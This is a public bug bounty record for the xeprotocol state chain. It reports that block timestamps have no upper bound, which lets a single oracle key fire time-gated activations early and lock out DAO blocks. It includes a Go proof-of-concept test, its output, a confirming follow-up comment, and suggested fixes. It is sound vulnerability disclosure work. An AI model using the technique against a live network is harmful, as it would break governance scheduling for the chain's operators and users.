{"id":"XE-0037","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"58","source_url":"https://github.com/xeprotocol/xe/issues/58","reporter_id":14,"title":"statechain: block timestamps have no upper bound; the 1-of-1 oracle key can jump the governance clock, firing time-gated activations early and locking out real-time DAO blocks (High)","area":"consensus","claimed_tier":"high","assessed_tier":null,"verdict":null,"duplicate_of":null,"tracked":true,"internal_ref":"","internal_url":null,"status":"accepted","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-10-29T13:57:17.199173+00:00","updated_at":"2026-11-16T10:23:09.853971+00:00","source_created_at":"2026-10-25T15:34:14+00:00","told_at":null,"status_changed_at":"2026-10-29T14:22:09.871357+00:00","url":"https://bounty.xe.network/XE-0037","body":"**Suggested severity:** High (privilege escalation of the oracle role into consensus feature activation; permanent loss of time-based activation scheduling). Not Critical: no mint, no double spend, needs the oracle key.\n**Area:** `statechain/chain.go` `AddBlock` (timestamp check), `statechain/activations.go` (`ActiveAt` on `tip.Timestamp`, `requireFuture`)\n**Version:** master @ `9787859`\n**Network:** reproduced in a unit test; live `testnet-0005` has the same configuration (see \"Live context\")\n\n## Summary\n\nThe only timestamp rule for a state-chain block is `b.Timestamp >= c.tip.Timestamp` (`statechain/chain.go:148`). There is no upper bound against wall clock anywhere on the ingestion paths (`AddBlock`, `handleStateChain` gossip, `SubmitStateChainBlock`, statechain sync).\n\nFeature activation is evaluated against the tip's timestamp (`FeatureActive` → `ActiveAt(feature, tip.Index, tip.Timestamp)`), and `docs/activations.md` relies on oracle/heartbeat blocks to move that clock.\n\nOracle blocks (ops under `sys.oracle.allowed_prefix`, `epoch.`) are signed by the **oracle keyset only**, not the DAO keyset. So a holder of the oracle key, a role meant to write epoch records, can stamp one routine `epoch.N` block arbitrarily far in the future. Three things follow:\n\n1. **Any pending time-gated activation fires immediately.** This skips the T−14d lead, the freeze, and the readiness gate the DAO signed against.\n2. **Every later block, DAO or oracle, must carry a timestamp ≥ the bogus value.** Honest DAO blocks at real time are rejected with `timestamp ... is before previous ...`.\n3. **Time-based scheduling is permanently broken.** `requireFuture` compares new `not_before_ns` values against the (now bogus) block timestamp, `sys.activations` entries cannot be removed or moved once fired, and there is no de-activation path by design.\n\n## Live context (testnet-0005, read from GET /statechain/kv)\n\n- `sys.oracle` = `{\"keys\":[\"927950037e5b…\"], \"threshold\": 1, \"allowed_prefix\": \"epoch.\"}`: a single 1-of-1 key.\n- That key signs essentially every state-chain block (tip index 3775, `epoch.3775`, one block about every 10 minutes); it is the heartbeat the activation procedure depends on.\n- `sys.activations` is not set on testnet today, so effect 1 is not exploitable live right now, but effects 2–3 apply as soon as anyone mis-stamps one block. An oracle host with a skewed clock is enough; no compromise is required.\n\n## Reproduce (unit test, own keys, no network)\n\n`statechain/poc_future_timestamp_test.go` (below) builds a chain with a 2-of-2 DAO keyset, a 1-of-1 oracle on `epoch.`, and `sys.tokenomics` copied verbatim from testnet-0005. Then:\n\n1. A DAO block schedules `noop` with `not_before_ns = now + 30 days`. `FeatureActive(\"noop\") == false`.\n2. An oracle-only block writes `epoch.0` with field values identical to live `epoch.3775` and `Timestamp = now + 100 years`. **Accepted.**\n3. `FeatureActive(\"noop\") == true`, about 30 days early.\n4. A DAO block at real time is **rejected**.\n\n```\n=== RUN   TestPoC_OracleFutureTimestamp\n    after DAO block: noop active=false (scheduled for 2026-11-24T15:26:28Z)\n    oracle block stamped 2126-10-01T15:26:28Z ACCEPTED\n    noop active=true immediately, ~30 days before its not_before_ns\n    DAO block at real time REJECTED: timestamp 1792941988199372600 is before previous 4946541988198861100\n--- PASS: TestPoC_OracleFutureTimestamp (0.00s)\n```\n\nRun: `GOTOOLCHAIN=go1.25.0 go test ./statechain/ -run TestPoC_OracleFutureTimestamp -v`\n\n<details><summary>poc_future_timestamp_test.go</summary>\n\n```go\npackage statechain_test\n\nimport (\n\t\"crypto/ed25519\"\n\t\"crypto/rand\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/xeprotocol/xe/statechain\"\n\t\"github.com/xeprotocol/xe/store\"\n)\n\ntype signer struct {\n\tpub  string\n\tpriv ed25519.PrivateKey\n}\n\nfunc newSigner(t *testing.T) signer {\n\tpub, priv, err := ed25519.GenerateKey(rand.Reader)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\treturn signer{pub: hex.EncodeToString(pub), priv: priv}\n}\n\nfunc mustJSON(t *testing.T, v any) json.RawMessage {\n\tb, err := json.Marshal(v)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\treturn b\n}\n\nfunc sealBlock(t *testing.T, b *statechain.Block, signers ...signer) *statechain.Block {\n\th, err := statechain.HashBlock(b)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tb.Hash = h\n\tfor _, s := range signers {\n\t\tsig, err := statechain.SignBlock(b, s.priv)\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tb.Signatures = append(b.Signatures, sig)\n\t}\n\treturn b\n}\n\n// PoC: a state-chain block's timestamp has no upper bound. The 1-of-1 oracle\n// key (scoped to \"epoch.\") can stamp its routine epoch block far in the future,\n// which (1) fires a pending time-gated activation immediately and (2) forces\n// every later DAO block to carry a timestamp >= the bogus value.\nfunc TestPoC_OracleFutureTimestamp(t *testing.T) {\n\tdao1, dao2, oracle := newSigner(t), newSigner(t), newSigner(t)\n\n\tgenesis := &statechain.Block{\n\t\tIndex:    0,\n\t\tPrevHash: \"0000000000000000000000000000000000000000000000000000000000000000\",\n\t\tOps: []statechain.Op{\n\t\t\t{Action: statechain.ActionSet, Key: \"sys.dao_keyset\", Value: mustJSON(t, statechain.DAOKeyset{Keys: []string{dao1.pub, dao2.pub}, Threshold: 2})},\n\t\t\t{Action: statechain.ActionSet, Key: \"sys.phase\", Value: mustJSON(t, uint8(1))},\n\t\t\t{Action: statechain.ActionSet, Key: \"sys.oracle\", Value: mustJSON(t, map[string]any{\"keys\": []string{oracle.pub}, \"threshold\": 1, \"allowed_prefix\": \"epoch.\"})},\n\t\t\t// sys.tokenomics copied verbatim from testnet-0005 (GET /statechain/kv/sys.tokenomics)\n\t\t\t{Action: statechain.ActionSet, Key: \"sys.tokenomics\", Value: json.RawMessage(`{\"r_init\":2000,\"r_floor\":100,\"v_half\":500000000,\"price_tier_1\":500,\"price_tier_2\":1010,\"price_tier_3\":10000,\"r_price_floor_tier_1\":2000,\"r_price_floor_tier_2\":1250,\"r_collusion_factor_milli\":950,\"hermite_fdv_min_usd\":5000000,\"hermite_fdv_max_usd\":1000000000,\"hermite_ceiling_milli\":1550,\"hermite_floor_milli\":1120}`)},\n\t\t},\n\t\tSignatures: []statechain.BlockSignature{},\n\t}\n\tgenesis = sealBlock(t, genesis)\n\n\tchain, err := statechain.NewChain(store.NewMemStore(), genesis)\n\tif err != nil {\n\t\tt.Fatalf(\"NewChain: %v\", err)\n\t}\n\n\tnow := time.Now().UnixNano()\n\tnotBefore := now + int64(30*24*time.Hour) // DAO schedules \"noop\" 30 days out\n\n\t// Block 1 (DAO, 2-of-2): schedule an activation 30 days in the future.\n\tb1 := sealBlock(t, &statechain.Block{\n\t\tIndex: 1, PrevHash: chain.Tip().Hash, Timestamp: now,\n\t\tOps: []statechain.Op{{Action: statechain.ActionSet, Key: \"sys.activations\",\n\t\t\tValue: mustJSON(t, map[string]any{\"features\": map[string]any{\"noop\": map[string]any{\"not_before_ns\": notBefore}}})}},\n\t}, dao1, dao2)\n\tif err := chain.AddBlock(b1); err != nil {\n\t\tt.Fatalf(\"DAO activation block rejected: %v\", err)\n\t}\n\tif chain.FeatureActive(\"noop\") {\n\t\tt.Fatal(\"noop should not be active yet\")\n\t}\n\tt.Logf(\"after DAO block: noop active=%v (scheduled for %s)\", chain.FeatureActive(\"noop\"), time.Unix(0, notBefore).UTC().Format(time.RFC3339))\n\n\t// Block 2 (oracle, 1-of-1): an ordinary epoch write, stamped +100 years.\n\tfuture := now + int64(100*365*24*time.Hour)\n\t// Same field values as live epoch.3775 on testnet-0005; only the window moves.\n\tepoch := statechain.EpochValue{Epoch: 0, StartNS: now - int64(10*time.Minute), EndNS: now,\n\t\tTWAPMilliUSD: 250, RVolume: 2000, RPriceFloor: 2000, RCollusion: 3800, REffective: 2000,\n\t\tRSource: \"tied\", Phase: 1, PayoutCap: 1527}\n\tb2 := sealBlock(t, &statechain.Block{\n\t\tIndex: 2, PrevHash: chain.Tip().Hash, Timestamp: future,\n\t\tOps: []statechain.Op{{Action: statechain.ActionSet, Key: \"epoch.0\", Value: mustJSON(t, epoch)}},\n\t}, oracle)\n\tif err := chain.AddBlock(b2); err != nil {\n\t\tt.Fatalf(\"oracle block with +100y timestamp was REJECTED (no bug): %v\", err)\n\t}\n\tt.Logf(\"oracle block stamped %s ACCEPTED\", time.Unix(0, future).UTC().Format(time.RFC3339))\n\n\tif !chain.FeatureActive(\"noop\") {\n\t\tt.Fatal(\"expected noop to be active after the future-stamped oracle block\")\n\t}\n\tt.Logf(\"noop active=%v immediately, ~30 days before its not_before_ns\", chain.FeatureActive(\"noop\"))\n\n\t// Block 3 (DAO, 2-of-2): a normal governance write at the real current time.\n\tb3 := sealBlock(t, &statechain.Block{\n\t\tIndex: 3, PrevHash: chain.Tip().Hash, Timestamp: time.Now().UnixNano(),\n\t\tOps: []statechain.Op{{Action: statechain.ActionSet, Key: \"config.example\", Value: mustJSON(t, 1)}},\n\t}, dao1, dao2)\n\terr = chain.AddBlock(b3)\n\tif err == nil {\n\t\tt.Fatal(\"expected DAO block at real time to be rejected\")\n\t}\n\tt.Logf(\"DAO block at real time REJECTED: %v\", err)\n}\n```\n</details>\n\n## Suggested fixes\n\n1. Reject state-chain blocks with `Timestamp > now + maxFutureSkew` (e.g. 2–5 minutes) at `AddBlock`, before signature checks. Apply it on gossip, API submit and sync. Sync of historical blocks is unaffected because those are in the past.\n2. Do not let oracle-only blocks advance the clock used for activations. Either evaluate `not_before_ns` against the timestamp of the last **DAO-signed** block, or require the DAO heartbeat block the procedure already describes.\n3. Optionally bound `Timestamp - tip.Timestamp` per block (e.g. ≤ 1 day) so a single bad stamp cannot jump decades.\n4. Consider raising the oracle keyset above 1-of-1 before mainnet, since that key currently drives the state-chain clock alone.\n\nPayout address: `ead8ad792b4452de17e897155ed6efe9f928d0c8b07bdf6a9cbf4f4d67941dd2`\n","patch_refs":[{"id":196,"repo":"xeprotocol/xe","kind":"pr","ref":"112","title":"","url":"https://github.com/xeprotocol/xe/pull/112","note":"","state":"","author":"","added_by":"desk","created_at":"2026-10-29T14:22:09.061497+00:00"}],"thread":[{"id":1903,"source":"github","source_ref":"6765032587","author":"Reyzz95","team":false,"body":"Still reproduces at HEAD `89a542e` (testnet-0005, 2026-11-10).\n\n`Chain.AddBlock` (`statechain/chain.go:148-150`) still only checks monotonicity — no wall-clock upper bound on statechain intake.\n\nPoC (local `go test`, `TestPOCAreaB_XE0037_FutureDatedActivation`): a DAO block stamped ~10y in the future activates `testfeature` immediately, and the subsequent real-time block is then rejected as before its predecessor.","created_at":"2026-11-10T10:30:33+00:00"}]}